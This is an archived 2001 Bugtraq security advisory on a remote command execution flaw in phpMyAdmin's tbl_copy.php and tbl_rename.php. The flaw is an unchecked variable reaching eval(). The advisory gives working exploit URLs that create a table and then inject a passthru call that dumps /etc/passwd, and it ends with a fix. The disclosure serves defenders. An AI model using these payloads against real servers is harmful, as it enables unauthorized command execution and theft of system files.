New command execution vulnerability in myPhpAdmin

From: Carl Livitt (carl@ititc.com)
Date: 07/31/01 

From: Carl Livitt <carl@ititc.com>
To: bugtraq@securityfocus.com
Subject: New command execution vulnerability in myPhpAdmin
Date: Tue, 31 Jul 2001 13:56:01 +0100
Message-Id: <01073113560106.00538@europa>

--/ Product: phpMyAdmin versions <= 2.2.0rc3

--/ Problem: Arbitrary remote command execution

--/ Severity: High

--/ Author: Carl Livitt (carl AT ititc DOT com)

--/ Date: 31 July 2001

]----------------------------------------------[

History
-------

Further to the excellent research done by Shaun Clowes of Secure Reality Pty Ltd
(http://www.securereality.com.au) into remote command execution on webservers
running myPhpAdmin, it turns out that there is another method of exploitation.
For details of what phpMyAdmin does, how it works and other security issues with
the product, please refer to article SRADV00008 on the Secure Reality website.

Overview
--------

The new method involves an unchecked variable in the 'tbl_copy.php' and
'tbl_rename.php'scripts. By passing a carefully crafted URL to these scripts, it
is possible to insert PHP instructions into an eval() function thereby
enabling the attacker to execute arbitrary commands on the webserver with the
privileges of the http daemon, typically 'nobody'.

The method works perfectly on a default installation of phpMyAdmin, but has not
been tested in an environment where the advanced authentication mechanism has
been enabled. Feedback on this would be appreciated.

In addition, this method assumes that the 'test' table in the mySQL database has
not been removed; in order to successfully exploit the vulnerability presented
here, it is necessary to have the ability to make changes to tables within a
database. It should be noted that any database that phpMyAdmin has access rights
to is sufficient: the 'test' database just happens to be very handy.

Details
-------

In 'tbl_copy.php' and 'tbl_rename.php' are these lines of code:

  tbl_copy.php: eval("\$message = \"$strCopyTableOK\";");
tbl_rename.php: eval("\$message = \"$strRenameTableOK\";");

These eval() functions are called if the rest of the code in the script executed
successfully. If it were possible to modify the contents of $strCopyTableOK or
$strRenameTableOK, it would be possible to execute arbitrary eval() code.

Fortunately for an attacker, it is possible to control the contents of either of
these variables. For example, by passing a URL of:

http://victim/phpmyadmin/tbl_copy.php?strCopyTableOK=".passthru('cat%20/etc/passwd')."

it is possible to set things up so that the script dumps /etc/passwd. But it
doesn't. Why? Because earlier code stops execution before we get to the eval():
(Note that the code has been edited for brevity)

if (isset($new_name) && $new_name!=""){
                .
        $result = mysql_query($sql_structure) or mysql_die();
                .
        $result = mysql_query($query) or mysql_die();
                .
        $result = mysql_query($sql_structure) or mysql_die();
}
else mysql_die($strTableEmpty);

If any of the mysql_query() calls fail, mysql_die() is called and execution stops.
This is no good to us, as we need the calls to succeed in order for eval() to be
executed with our commands in it.

To make sure all the calls succeed, we need to make sure that we have a database
that we can create tables in. This can be done by using 'tbl_create.php' script
like so:

http://victim/phpmyadmin/tbl_create.php?db=test&table=haxor&query=dummy+integer+primary+key+auto_increment&submit=1

In the default installation, we don't need to specify a username or password and
will now have a table called 'haxor' in the 'test' database. We're now ready to
exploit the 'tbl_copy.php' script:

http://victim/phpmyadmin/tbl_copy.php?db=test&table=haxor&new_name=test.haxor2&strCopyTableOK=".passthru('cat%20/etc/passwd')."

Success! The contents of /etc/passwd are included in the webpage that is returned
by this URL. Of course, the choice of command to execute is limited only by the
imagination of the attacker.

Fix / workaround
----------------

This is really simple to fix: just comment out the offending eval() statements in
the 'tbl_copy.php' and 'tbl_rename.php' scripts. The calls to eval() are not
used at any point in the script because the $strCopyTableOK and $strRenameTableOK
variables are never normally defined. This means it is safe to remove them. 

-- 
Free Dmitry!
http://www.boycottadobe.com

_________________________________________________________
Do You Yahoo!?
Get your free @yahoo.com address at http://mail.yahoo.com

Relevant Pages

  • Re: ksh silently ignores function if mistakenly not autoloaded
    ... Here's the order of execution. ... This really takes place prior to command ... Shell scripts, with all their power, have one major drawback - they ... In the Korn Shell, there are two separate syntaxes for defining ...
    (comp.unix.shell)
  • Re: Runtime Syntax Checker
    ... If any Tcl command sets a return code other than zero, ... script to abort, but any following scripts will execute. ... In C, you can ignore errors, execution ... The caller must then handle the exception. ...
    (comp.lang.tcl)
  • Re: Query Help
    ... > objects in any database. ... that parcitular script is executed, I somehow tought that it shouln't put it ... Unless I misunderstand your tables and query, ... I have seen execution plans where the subquery gets ...
    (microsoft.public.sqlserver.programming)
  • Re: MATLAB Code for a stop process button which ex
    ... especially in the while loop(for each script command starting in the ... % varargin command line arguments to stop_button ... % line_num is the order of execution. ... msgno = msgno+1; ...
    (comp.soft-sys.matlab)
  • Re: Embedding a Tclinterp : some pointers requested !
    ... > In our app, various script files using Tcl syntax will ... > - let the user cancel the execution, ... > - when the current command is complete, ... > - it does not allow to stop the interpretation in case of an infinite ...
    (comp.lang.tcl)
Quantcast